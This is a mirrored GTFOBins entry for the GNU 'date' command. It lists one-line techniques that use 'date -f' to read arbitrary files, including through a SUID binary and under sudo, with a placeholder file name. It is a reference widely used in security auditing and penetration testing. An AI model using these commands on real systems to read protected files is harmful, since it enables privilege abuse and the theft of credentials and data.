mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 06:49:44 +01:00
9c96140f1d
Thanks to #20.
20 lines
445 B
Markdown
20 lines
445 B
Markdown
---
|
|
description: |
|
|
Each line is corrupted by a prefix string and wrapped inside quotes, so this may not be suitable for binary files.
|
|
|
|
This only works for the GNU variant of `date`.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
date -f $LFILE
|
|
suid-enabled:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
./date -f $LFILE
|
|
sudo-enabled:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo date -f $LFILE
|
|
---
|